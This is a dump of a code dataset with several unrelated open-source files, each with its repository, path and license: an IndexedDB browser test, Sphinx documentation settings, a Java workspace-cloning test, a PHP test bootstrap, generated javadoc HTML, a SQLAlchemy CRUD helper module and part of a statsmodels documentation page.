repo_name
stringlengths 4
116
| path
stringlengths 3
942
| size
stringlengths 1
7
| content
stringlengths 3
1.05M
| license
stringclasses 15
values |
---|---|---|---|---|
aYukiSekiguchi/ACCESS-Chromium | chrome/test/data/indexeddb/index_test.js | 3877 | // Copyright (c) 2010 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
function onCursor()
{
var cursor = event.target.result;
if (cursor === null) {
debug('Reached end of object cursor.');
if (!gotObjectThroughCursor) {
fail('Did not get object through cursor.');
return;
}
done();
return;
}
debug('Got object through cursor.');
shouldBe('event.target.result.key', '55');
shouldBe('event.target.result.value.aValue', '"foo"');
gotObjectThroughCursor = true;
cursor.continue();
}
function onKeyCursor()
{
var cursor = event.target.result;
if (cursor === null) {
debug('Reached end of key cursor.');
if (!gotKeyThroughCursor) {
fail('Did not get key through cursor.');
return;
}
var request = index.openCursor(IDBKeyRange.only(55));
request.onsuccess = onCursor;
request.onerror = unexpectedErrorCallback;
gotObjectThroughCursor = false;
return;
}
debug('Got key through cursor.');
shouldBe('event.target.result.key', '55');
shouldBe('event.target.result.primaryKey', '1');
gotKeyThroughCursor = true;
cursor.continue();
}
function getSuccess()
{
debug('Successfully got object through key in index.');
shouldBe('event.target.result.aKey', '55');
shouldBe('event.target.result.aValue', '"foo"');
var request = index.openKeyCursor(IDBKeyRange.only(55));
request.onsuccess = onKeyCursor;
request.onerror = unexpectedErrorCallback;
gotKeyThroughCursor = false;
}
function getKeySuccess()
{
debug('Successfully got key.');
shouldBe('event.target.result', '1');
var request = index.get(55);
request.onsuccess = getSuccess;
request.onerror = unexpectedErrorCallback;
}
function moreDataAdded()
{
debug('Successfully added more data.');
var request = index.getKey(55);
request.onsuccess = getKeySuccess;
request.onerror = unexpectedErrorCallback;
}
function indexErrorExpected()
{
debug('Existing index triggered on error as expected.');
var request = objectStore.put({'aKey': 55, 'aValue': 'foo'}, 1);
request.onsuccess = moreDataAdded;
request.onerror = unexpectedErrorCallback;
}
function indexSuccess()
{
debug('Index created successfully.');
shouldBe("index.name", "'myIndex'");
shouldBe("index.objectStore.name", "'test'");
shouldBe("index.keyPath", "'aKey'");
shouldBe("index.unique", "true");
try {
request = objectStore.createIndex('myIndex', 'aKey', {unique: true});
fail('Re-creating an index must throw an exception');
} catch (e) {
indexErrorExpected();
}
}
function createIndex(expect_error)
{
debug('Creating an index.');
try {
window.index = objectStore.createIndex('myIndex', 'aKey', {unique: true});
indexSuccess();
} catch (e) {
unexpectedErrorCallback();
}
}
function dataAddedSuccess()
{
debug('Data added');
createIndex(false);
}
function populateObjectStore()
{
debug('Populating object store');
deleteAllObjectStores(db);
window.objectStore = db.createObjectStore('test');
var myValue = {'aKey': 21, 'aValue': '!42'};
var request = objectStore.add(myValue, 0);
request.onsuccess = dataAddedSuccess;
request.onerror = unexpectedErrorCallback;
}
function setVersion()
{
debug('setVersion');
window.db = event.target.result;
var request = db.setVersion('new version');
request.onsuccess = populateObjectStore;
request.onerror = unexpectedErrorCallback;
}
function test()
{
if ('webkitIndexedDB' in window) {
indexedDB = webkitIndexedDB;
IDBCursor = webkitIDBCursor;
IDBKeyRange = webkitIDBKeyRange;
IDBTransaction = webkitIDBTransaction;
}
debug('Connecting to indexedDB');
var request = indexedDB.open('name');
request.onsuccess = setVersion;
request.onerror = unexpectedErrorCallback;
}
| bsd-3-clause |
rsms/tc | docs/source/conf.py | 5778 | # -*- coding: utf-8 -*-
#
# Smisk documentation build configuration file, created by
# sphinx-quickstart on Sun Oct 26 20:24:33 2008.
#
# This file is execfile()d with the current directory set to its containing dir.
#
# The contents of this file are pickled, so don't put values in the namespace
# that aren't pickleable (module imports are okay, they're removed automatically).
#
# All configuration values have a default value; values that are commented out
# serve to show the default value.
import sys, os
# If your extensions are in another directory, add it here. If the directory
# is relative to the documentation root, use os.path.abspath to make it
# absolute, like shown here.
# Load release info
exec(open(os.path.abspath(os.path.join(os.path.dirname(__file__),
'..', '..', 'lib', 'tc', 'release.py'))).read())
# General configuration
# ---------------------
# Add any Sphinx extension module names here, as strings. They can be extensions
# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
extensions = ['sphinx.ext.autodoc']
# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']
# The suffix of source filenames.
source_suffix = '.rst'
# The master toctree document.
master_doc = 'index'
# General substitutions.
project = 'tc'
copyright = 'Rasmus Andersson'
# The default replacements for |version| and |release|, also used in various
# other places throughout the built documents.
#
# The short X.Y version.
version = __version__
# The full version, including alpha/beta/rc tags.
release = version
# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
today_fmt = '%B %d, %Y'
# List of documents that shouldn't be included in the build.
#unused_docs = []
# List of directories, relative to source directories, that shouldn't be searched
# for source files.
#exclude_dirs = []
# The reST default role (used for this markup: `text`) to use for all documents.
#default_role = None
# If true, '()' will be appended to :func: etc. cross-reference text.
add_function_parentheses = True
# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True
# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False
# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'trac'
#todo_include_todos = True
# Options for HTML output
# -----------------------
# The style sheet to use for HTML and HTML Help pages. A file of that name
# must exist either in Sphinx' static/ path, or in one of the custom paths
# given in html_static_path.
html_style = 'screen.css'
# The name for this set of Sphinx documents. If None, it defaults to
# "<project> v<release> documentation".
#html_title = None
# A shorter title for the navigation bar. Default is the same as html_title.
#html_short_title = None
# The name of an image file (within the static path) to place at the top of
# the sidebar.
#html_logo = None
# The name of an image file (within the static path) to use as favicon of the
# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None
# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']
# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
html_last_updated_fmt = '%b %d, %Y'
# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
html_use_smartypants = True
# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}
# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}
# If false, no module index is generated.
#html_use_modindex = True
# If false, no index is generated.
#html_use_index = True
# If true, the index is split into individual pages for each letter.
#html_split_index = False
# If true, the reST sources are included in the HTML build as _sources/<name>.
#html_copy_source = True
# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it. The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''
# If nonempty, this is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = ''
# Output file base name for HTML help builder.
htmlhelp_basename = 'tcdoc'
# Options for LaTeX output
# ------------------------
# The paper size ('letter' or 'a4').
#latex_paper_size = 'letter'
# The font size ('10pt', '11pt' or '12pt').
#latex_font_size = '10pt'
# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title, author, document class [howto/manual]).
latex_documents = [
('index', 'tc.tex', 'tc documentation',
'Rasmus Andersson', 'manual'),
]
# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None
# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False
# Additional stuff for the LaTeX preamble.
#latex_preamble = ''
# Documents to append as an appendix to all manuals.
#latex_appendices = []
# If false, no module index is generated.
#latex_use_modindex = True
| bsd-3-clause |
DataBiosphere/terra-cli | src/test/java/unit/CloneWorkspace.java | 10217 | package unit;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.hasSize;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
import static org.junit.jupiter.api.Assertions.assertNull;
import static org.junit.jupiter.api.Assertions.assertTrue;
import bio.terra.cli.serialization.userfacing.UFClonedResource;
import bio.terra.cli.serialization.userfacing.UFClonedWorkspace;
import bio.terra.cli.serialization.userfacing.UFResource;
import bio.terra.cli.serialization.userfacing.UFWorkspace;
import bio.terra.cli.serialization.userfacing.resource.UFBqDataset;
import bio.terra.cli.serialization.userfacing.resource.UFGcsBucket;
import bio.terra.cli.serialization.userfacing.resource.UFGitRepo;
import bio.terra.workspace.model.CloneResourceResult;
import bio.terra.workspace.model.StewardshipType;
import com.fasterxml.jackson.core.type.TypeReference;
import com.google.api.services.bigquery.model.DatasetReference;
import harness.TestCommand;
import harness.TestContext;
import harness.TestUser;
import harness.baseclasses.ClearContextUnit;
import harness.utils.Auth;
import harness.utils.ExternalBQDatasets;
import java.io.IOException;
import java.util.List;
import java.util.Optional;
import java.util.UUID;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.api.Tag;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestInfo;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
@Tag("unit")
public class CloneWorkspace extends ClearContextUnit {
private static final TestUser workspaceCreator = TestUser.chooseTestUserWithSpendAccess();
private static final Logger logger = LoggerFactory.getLogger(CloneWorkspace.class);
private static final String GIT_REPO_HTTPS_URL =
"https://github.com/DataBiosphere/terra-workspace-manager.git";
private static final String GIT_REPO_REF_NAME = "gitrepo_ref";
private static final int SOURCE_RESOURCE_NUM = 5;
private static final int DESTINATION_RESOURCE_NUM = 4;
private static DatasetReference externalDataset;
private UFWorkspace sourceWorkspace;
private UFWorkspace destinationWorkspace;
@BeforeAll
public static void setupOnce() throws IOException {
TestContext.clearGlobalContextDir();
resetContext();
workspaceCreator.login(); // login needed to get user's proxy group
// create an external dataset to use for a referenced resource
externalDataset = ExternalBQDatasets.createDataset();
// grant the workspace creator access to the dataset
ExternalBQDatasets.grantReadAccess(
externalDataset, workspaceCreator.email, ExternalBQDatasets.IamMemberType.USER);
// grant the user's proxy group access to the dataset so that it will pass WSM's access check
// when adding it as a referenced resource
ExternalBQDatasets.grantReadAccess(
externalDataset, Auth.getProxyGroupEmail(), ExternalBQDatasets.IamMemberType.GROUP);
}
@AfterEach
public void cleanupEachTime() throws IOException {
workspaceCreator.login();
if (sourceWorkspace != null) {
TestCommand.Result result =
TestCommand.runCommand(
"workspace", "delete", "--quiet", "--workspace=" + sourceWorkspace.id);
sourceWorkspace = null;
if (0 != result.exitCode) {
logger.error("Failed to delete source workspace. exit code = {}", result.exitCode);
}
}
if (destinationWorkspace != null) {
TestCommand.Result result =
TestCommand.runCommand(
"workspace", "delete", "--quiet", "--workspace=" + destinationWorkspace.id);
destinationWorkspace = null;
if (0 != result.exitCode) {
logger.error("Failed to delete destination workspace. exit code = {}", result.exitCode);
}
}
}
@AfterAll
public static void cleanupOnce() throws IOException {
if (externalDataset != null) {
ExternalBQDatasets.deleteDataset(externalDataset);
externalDataset = null;
}
}
@Test
public void cloneWorkspace(TestInfo testInfo) throws Exception {
workspaceCreator.login();
// create a workspace
// `terra workspace create --format=json`
sourceWorkspace =
TestCommand.runAndParseCommandExpectSuccess(UFWorkspace.class, "workspace", "create");
// Add a bucket resource
UFGcsBucket sourceBucket =
TestCommand.runAndParseCommandExpectSuccess(
UFGcsBucket.class,
"resource",
"create",
"gcs-bucket",
"--name=" + "bucket_1",
"--bucket-name=" + UUID.randomUUID(),
"--cloning=COPY_RESOURCE");
// Add another bucket resource with COPY_NOTHING
UFGcsBucket copyNothingBucket =
TestCommand.runAndParseCommandExpectSuccess(
UFGcsBucket.class,
"resource",
"create",
"gcs-bucket",
"--name=" + "bucket_2",
"--bucket-name=" + UUID.randomUUID(),
"--cloning=COPY_NOTHING");
// Add a dataset resource
UFBqDataset sourceDataset =
TestCommand.runAndParseCommandExpectSuccess(
UFBqDataset.class,
"resource",
"create",
"bq-dataset",
"--name=dataset_1",
"--dataset-id=dataset_1",
"--description=The first dataset.",
"--cloning=COPY_RESOURCE");
UFBqDataset datasetReference =
TestCommand.runAndParseCommandExpectSuccess(
UFBqDataset.class,
"resource",
"add-ref",
"bq-dataset",
"--name=dataset_ref",
"--project-id=" + externalDataset.getProjectId(),
"--dataset-id=" + externalDataset.getDatasetId(),
"--cloning=COPY_REFERENCE");
UFGitRepo gitRepositoryReference =
TestCommand.runAndParseCommandExpectSuccess(
UFGitRepo.class,
"resource",
"add-ref",
"git-repo",
"--name=" + GIT_REPO_REF_NAME,
"--repo-url=" + GIT_REPO_HTTPS_URL,
"--cloning=COPY_REFERENCE");
// Clone the workspace
UFClonedWorkspace clonedWorkspace =
TestCommand.runAndParseCommandExpectSuccess(
UFClonedWorkspace.class,
"workspace",
"clone",
"--name=cloned_workspace",
"--description=A clone.");
assertEquals(
sourceWorkspace.id,
clonedWorkspace.sourceWorkspace.id,
"Correct source workspace ID for clone.");
destinationWorkspace = clonedWorkspace.destinationWorkspace;
assertThat(
"There are 5 cloned resources", clonedWorkspace.resources, hasSize(SOURCE_RESOURCE_NUM));
UFClonedResource bucketClonedResource =
getOrFail(
clonedWorkspace.resources.stream()
.filter(cr -> sourceBucket.id.equals(cr.sourceResource.id))
.findFirst());
assertEquals(
CloneResourceResult.SUCCEEDED, bucketClonedResource.result, "bucket clone succeeded");
assertNotNull(
bucketClonedResource.destinationResource, "Destination bucket resource was created");
UFClonedResource copyNothingBucketClonedResource =
getOrFail(
clonedWorkspace.resources.stream()
.filter(cr -> copyNothingBucket.id.equals(cr.sourceResource.id))
.findFirst());
assertEquals(
CloneResourceResult.SKIPPED,
copyNothingBucketClonedResource.result,
"COPY_NOTHING resource was skipped.");
assertNull(
copyNothingBucketClonedResource.destinationResource,
"Skipped resource has no destination resource.");
UFClonedResource datasetRefClonedResource =
getOrFail(
clonedWorkspace.resources.stream()
.filter(cr -> datasetReference.id.equals(cr.sourceResource.id))
.findFirst());
assertEquals(
CloneResourceResult.SUCCEEDED,
datasetRefClonedResource.result,
"Dataset reference clone succeeded.");
assertEquals(
StewardshipType.REFERENCED,
datasetRefClonedResource.destinationResource.stewardshipType,
"Dataset reference has correct stewardship type.");
UFClonedResource datasetClonedResource =
getOrFail(
clonedWorkspace.resources.stream()
.filter(cr -> sourceDataset.id.equals(cr.sourceResource.id))
.findFirst());
assertEquals(
CloneResourceResult.SUCCEEDED, datasetClonedResource.result, "Dataset clone succeeded.");
assertEquals(
"The first dataset.",
datasetClonedResource.destinationResource.description,
"Dataset description matches.");
UFClonedResource gitRepoClonedResource =
getOrFail(
clonedWorkspace.resources.stream()
.filter(cr -> gitRepositoryReference.id.equals(cr.sourceResource.id))
.findFirst());
assertEquals(
CloneResourceResult.SUCCEEDED, gitRepoClonedResource.result, "Git repo clone succeeded");
assertEquals(
GIT_REPO_REF_NAME,
gitRepoClonedResource.destinationResource.name,
"Resource type matches GIT_REPO");
// Switch to the new workspace from the clone
TestCommand.runCommandExpectSuccess(
"workspace", "set", "--id=" + clonedWorkspace.destinationWorkspace.id);
// Validate resources
List<UFResource> resources =
TestCommand.runAndParseCommandExpectSuccess(new TypeReference<>() {}, "resource", "list");
assertThat(
"Destination workspace has three resources.", resources, hasSize(DESTINATION_RESOURCE_NUM));
}
/**
* Check Optional's value is present and return it, or else fail an assertion.
*
* @param optional - Optional expression
* @param <T> - value type of optional
* @return - value of optional, if present
*/
@SuppressWarnings("OptionalUsedAsFieldOrParameterType")
public static <T> T getOrFail(Optional<T> optional) {
assertTrue(optional.isPresent(), "Optional value was empty.");
return optional.get();
}
}
| bsd-3-clause |
heavenshell/php-net-kyototycoon | tests/prepare.php | 2061 | <?php
/**
* Scripts for PHPUnit
*
* PHP version 5.3
*
* Copyright (c) 2010-2012 Shinya Ohyanagi, All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
*
* * Neither the name of Shinya Ohyanagi nor the names of his
* contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
* @category Net
* @package Net\KyotoTycoon
* @version $id$
* @copyright (c) 2010-2012 Shinya Ohyanagi
* @author Shinya Ohyanagi <[email protected]>
* @license New BSD License
*/
error_reporting(E_ALL | E_STRICT);
$src = dirname(__DIR__) . DIRECTORY_SEPARATOR . 'src';
set_include_path(get_include_path()
. PATH_SEPARATOR . $src
);
require_once 'PHPUnit/Framework/TestCase.php';
| bsd-3-clause |
NCIP/visda | visda/VISDA-Developer/Month-5-yr1/visdaDev-V0.1/doc/org/math/plot/canvas/class-use/Plot3DCanvas.html | 7570 | <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.5.0_04) on Fri Jul 29 18:05:38 EDT 2005 -->
<TITLE>
Uses of Class org.math.plot.canvas.Plot3DCanvas (VISDA API)
</TITLE>
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
parent.document.title="Uses of Class org.math.plot.canvas.Plot3DCanvas (VISDA API)";
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../org/math/plot/canvas/Plot3DCanvas.html" title="class in org.math.plot.canvas"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
VISDA API</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
PREV
NEXT</FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../index.html?org/math/plot/canvas/\class-usePlot3DCanvas.html" target="_top"><B>FRAMES</B></A>
<A HREF="Plot3DCanvas.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<CENTER>
<H2>
<B>Uses of Class<br>org.math.plot.canvas.Plot3DCanvas</B></H2>
</CENTER>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
Packages that use <A HREF="../../../../../org/math/plot/canvas/Plot3DCanvas.html" title="class in org.math.plot.canvas">Plot3DCanvas</A></FONT></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><A HREF="#org.math.plot"><B>org.math.plot</B></A></TD>
<TD> </TD>
</TR>
</TABLE>
<P>
<A NAME="org.math.plot"><!-- --></A>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor">
<TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2">
Uses of <A HREF="../../../../../org/math/plot/canvas/Plot3DCanvas.html" title="class in org.math.plot.canvas">Plot3DCanvas</A> in <A HREF="../../../../../org/math/plot/package-summary.html">org.math.plot</A></FONT></TH>
</TR>
</TABLE>
<P>
<TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY="">
<TR BGCOLOR="#CCCCFF" CLASS="TableSubHeadingColor">
<TH ALIGN="left" COLSPAN="2">Constructors in <A HREF="../../../../../org/math/plot/package-summary.html">org.math.plot</A> with parameters of type <A HREF="../../../../../org/math/plot/canvas/Plot3DCanvas.html" title="class in org.math.plot.canvas">Plot3DCanvas</A></FONT></TH>
</TR>
<TR BGCOLOR="white" CLASS="TableRowColor">
<TD><CODE><B><A HREF="../../../../../org/math/plot/FrameView.html#FrameView(org.math.plot.canvas.Plot3DCanvas...)">FrameView</A></B>(<A HREF="../../../../../org/math/plot/canvas/Plot3DCanvas.html" title="class in org.math.plot.canvas">Plot3DCanvas</A>... canvas)</CODE>
<BR>
</TD>
</TR>
</TABLE>
<P>
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../org/math/plot/canvas/Plot3DCanvas.html" title="class in org.math.plot.canvas"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
VISDA API</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
PREV
NEXT</FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../../index.html?org/math/plot/canvas/\class-usePlot3DCanvas.html" target="_top"><B>FRAMES</B></A>
<A HREF="Plot3DCanvas.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
<i><center>Copyright © 2003 CBIL, VT. All Rights Reserved</center></i>
</BODY>
</HTML>
| bsd-3-clause |
tomtom92/etl | etl/database.py | 2331 | # -*- coding: utf-8 -*-
# /etl/database.py
"""Database module, including the SQLAlchemy database object and DB-related utilities."""
from sqlalchemy.orm import relationship
from .compat import basestring
from .extensions import db
# Alias common SQLAlchemy names
Column = db.Column
relationship = relationship
class CRUDMixin(object):
"""Mixin that adds convenience methods for CRUD (create, read, update, delete) operations."""
@classmethod
def create(cls, **kwargs):
"""Create a new record and save it the database."""
instance = cls(**kwargs)
return instance.save()
def update(self, commit=True, **kwargs):
"""Update specific fields of a record."""
for attr, value in kwargs.items():
setattr(self, attr, value)
return commit and self.save() or self
def save(self, commit=True):
"""Save the record."""
db.session.add(self)
if commit:
db.session.commit()
return self
def delete(self, commit=True):
"""Remove the record from the database."""
db.session.delete(self)
return commit and db.session.commit()
class Model(CRUDMixin, db.Model):
"""Base model class that includes CRUD convenience methods."""
__abstract__ = True
# From Mike Bayer's "Building the app" talk
# https://speakerdeck.com/zzzeek/building-the-app
class SurrogatePK(object):
"""A mixin that adds a surrogate integer 'primary key' column named ``id`` to any declarative-mapped class."""
__table_args__ = {'extend_existing': True}
id = db.Column(db.Integer, primary_key=True)
@classmethod
def get_by_id(cls, record_id):
"""Get record by ID."""
if any(
(isinstance(record_id, basestring) and record_id.isdigit(),
isinstance(record_id, (int, float))),
):
return cls.query.get(int(record_id))
return None
def reference_col(tablename, nullable=False, pk_name='id', **kwargs):
"""Column that adds primary key foreign key reference.
Usage: ::
category_id = reference_col('category')
category = relationship('Category', backref='categories')
"""
return db.Column(
db.ForeignKey('{0}.{1}'.format(tablename, pk_name)),
nullable=nullable, **kwargs)
| bsd-3-clause |
statsmodels/statsmodels.github.io | v0.12.0/generated/statsmodels.stats.weightstats.CompareMeans.summary.html | 21660 |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta http-equiv="x-ua-compatible" content="ie=edge">
<meta name="lang:clipboard.copy" content="Copy to clipboard">
<meta name="lang:clipboard.copied" content="Copied to clipboard">
<meta name="lang:search.language" content="en">
<meta name="lang:search.pipeline.stopwords" content="True">
<meta name="lang:search.pipeline.trimmer" content="True">
<meta name="lang:search.result.none" content="No matching documents">
<meta name="lang:search.result.one" content="1 matching document">
<meta name="lang:search.result.other" content="# matching documents">
<meta name="lang:search.tokenizer" content="[\s\-]+">
<link href="https://fonts.gstatic.com/" rel="preconnect" crossorigin>
<link href="https://fonts.googleapis.com/css?family=Roboto+Mono:400,500,700|Roboto:300,400,400i,700&display=fallback" rel="stylesheet">
<style>
body,
input {
font-family: "Roboto", "Helvetica Neue", Helvetica, Arial, sans-serif
}
code,
kbd,
pre {
font-family: "Roboto Mono", "Courier New", Courier, monospace
}
</style>
<link rel="stylesheet" href="../_static/stylesheets/application.css"/>
<link rel="stylesheet" href="../_static/stylesheets/application-palette.css"/>
<link rel="stylesheet" href="../_static/stylesheets/application-fixes.css"/>
<link rel="stylesheet" href="../_static/fonts/material-icons.css"/>
<meta name="theme-color" content="#3f51b5">
<script src="../_static/javascripts/modernizr.js"></script>
<title>statsmodels.stats.weightstats.CompareMeans.summary — statsmodels</title>
